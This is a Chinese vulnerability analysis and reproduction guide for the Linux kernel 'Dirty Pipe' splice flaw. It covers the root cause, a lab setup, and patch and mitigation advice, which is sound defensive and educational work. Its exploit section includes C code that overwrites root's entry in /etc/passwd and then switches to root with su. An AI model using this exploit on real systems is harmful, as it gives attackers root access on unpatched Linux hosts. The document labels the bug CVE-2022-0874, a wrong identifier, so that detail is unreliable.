CVE-2022-0874漏洞复现——Linux内核splice系统调用未正确初始化管道缓存漏洞分析(文末附EXP代码)
字数 1514 2025-08-22 12:22:54
Linux内核splice系统调用漏洞(CVE-2022-0874)深度分析与复现指南
漏洞概述
CVE-2022-0874是Linux内核中的一个高危漏洞,别名"Dirty Pipe"。该漏洞存在于splice系统调用对管道(pipe)缓存的处理逻辑中,由于未正确初始化pipe_buffer结构体的PIPE_BUF_FLAG_CAN_MERGE标志位,导致攻击者可以修改任意只读文件内容,最终实现权限提升。
影响版本:5.8 ≤ Linux kernel < 5.16.11/5.15.25/5.10.102
技术背景
1. splice系统调用原理
splice是一种零拷贝技术,通过增加内存页面的引用计数而非拷贝数据的方式提高系统数据传输吞吐量。它支持网络套接字和管道套接字。
传统文件传输流程:
- 从磁盘读取文件到内核空间
- 从内核空间拷贝到用户空间
- 从用户空间拷贝到socket缓冲区
splice优化流程:
- 直接引用文件页缓存,避免用户空间拷贝
2. pipe系统调用
管道用于进程间通信,创建方式:
int pipefd[2];
pipe(pipefd); // pipefd[0]为读端,pipefd[1]为写端
关键注意事项:
- 跨进程使用时,子进程需关闭写入端文件描述符,否则可能造成死锁
- 当管道缓存无数据且写端未关闭时,读操作会阻塞
漏洞原理分析
核心数据结构:pipe_buffer
struct pipe_buffer {
struct page *page; // 内存页面指针
unsigned int offset; // 已读出数据长度
unsigned int len; // 数据总长度
const struct pipe_buf_operations *ops; // 操作函数指针
unsigned int flags; // 标志变量(含PIPE_BUF_FLAG_CAN_MERGE)
unsigned long private; // 私有数据
};
漏洞形成机制
-
正常写入流程:
- write()系统调用会设置
PIPE_BUF_FLAG_CAN_MERGE标志 - 该标志支持"页对齐"优化算法,提高内存利用率
- write()系统调用会设置
-
splice调用问题:
copy_page_to_iter_pipe()函数初始化了pipe_buffer的ops、page、offset、len等成员- 但未初始化flags成员,保留了之前的
PIPE_BUF_FLAG_CAN_MERGE标志 - 后续写入操作会错误地修改文件页缓存
利用原理
攻击者可以:
- 通过splice将目标文件(如/etc/passwd)页面引入管道
- 由于未清除
PIPE_BUF_FLAG_CAN_MERGE标志 - 后续写入操作会直接修改文件缓存页
- 其他进程读取该文件时会从被污染的缓存中获取数据
漏洞复现环境搭建
1. Qemu仿真环境
内核编译
# 下载内核源码
wget https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.9.10.tar.gz
tar -xzf linux-5.9.10.tar.gz
# 安装依赖
sudo apt install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison dwarves zstd
# 配置编译
make menuconfig # 确保开启CONFIG_E1000等调试选项
make -j$(nproc)
根文件系统配置
使用Busybox创建最小根文件系统,需手动创建:
- /etc/passwd
- /etc/group
- /init启动脚本
示例/etc/passwd内容:
root:x:0:0:root:/root:/bin/sh
sam:x:1000:1000:sam:/home/sam:/bin/sh
启动Qemu
qemu-system-x86_64 \
-m 4096M \
-kernel ./bzImage \
-initrd ./test.cpio \
-nographic \
-s \
-append "console=ttyS0 quiet nokaslr"
2. 实机环境(Ubuntu发行版)
# 安装受影响内核
sudo apt install linux-image-5.13.0-21-generic linux-image-5.13.0-21-generic-dbgsym
# 配置双机调试
# 在grub配置中添加KGDB参数
# 配置VMware串口通信
漏洞利用(EXP)分析
利用步骤
- 准备管道:填满并清空管道,使后续pipe_buffer保留
PIPE_BUF_FLAG_CAN_MERGE标志 - 打开目标文件(如/etc/passwd)
- 使用splice将文件页面引入管道
- 向管道写入恶意数据(如修改root密码)
- 密码修改成功后,通过su切换用户
关键代码片段
// 准备带有CAN_MERGE标志的管道
void prepare_pipe(int p[2]) {
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
// 填满管道
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
// 清空管道
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
}
// 主利用逻辑
int main() {
const char *path = "/etc/passwd";
loff_t offset = 4; // 修改root密码位置
const char *data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n\n";
int p[2];
prepare_pipe(p);
int fd = open(path, O_RDONLY);
struct stat st;
fstat(fd, &st);
// 使用splice引入文件页面
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
// 写入恶意数据
nbytes = write(p[1], data, strlen(data));
// 执行shell
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \"...\""};
execv("/bin/sh", argv);
}
防护与修复
-
升级内核到修复版本:
- ≥5.16.11
- ≥5.15.25
- ≥5.10.102
-
临时缓解措施:
- 限制普通用户使用splice系统调用
- 监控关键文件(如/etc/passwd)的修改
技术总结
- 根本原因:splice调用未正确初始化pipe_buffer.flags
- 利用条件:
- 偏移量不能位于页边界
- 写入不能跨页边界
- 影响范围:可修改任何可读文件,包括只读/immutable文件
- 漏洞启示:开发中必须遵循"变量先赋值后使用"原则
附录
完整EXP代码和详细分析文档参见原文附件:
- 《Linux系统pipe管道方案分析.md》
- 《Linux系统splice系统调用链分析.md》
- exploit.c (完整漏洞利用代码)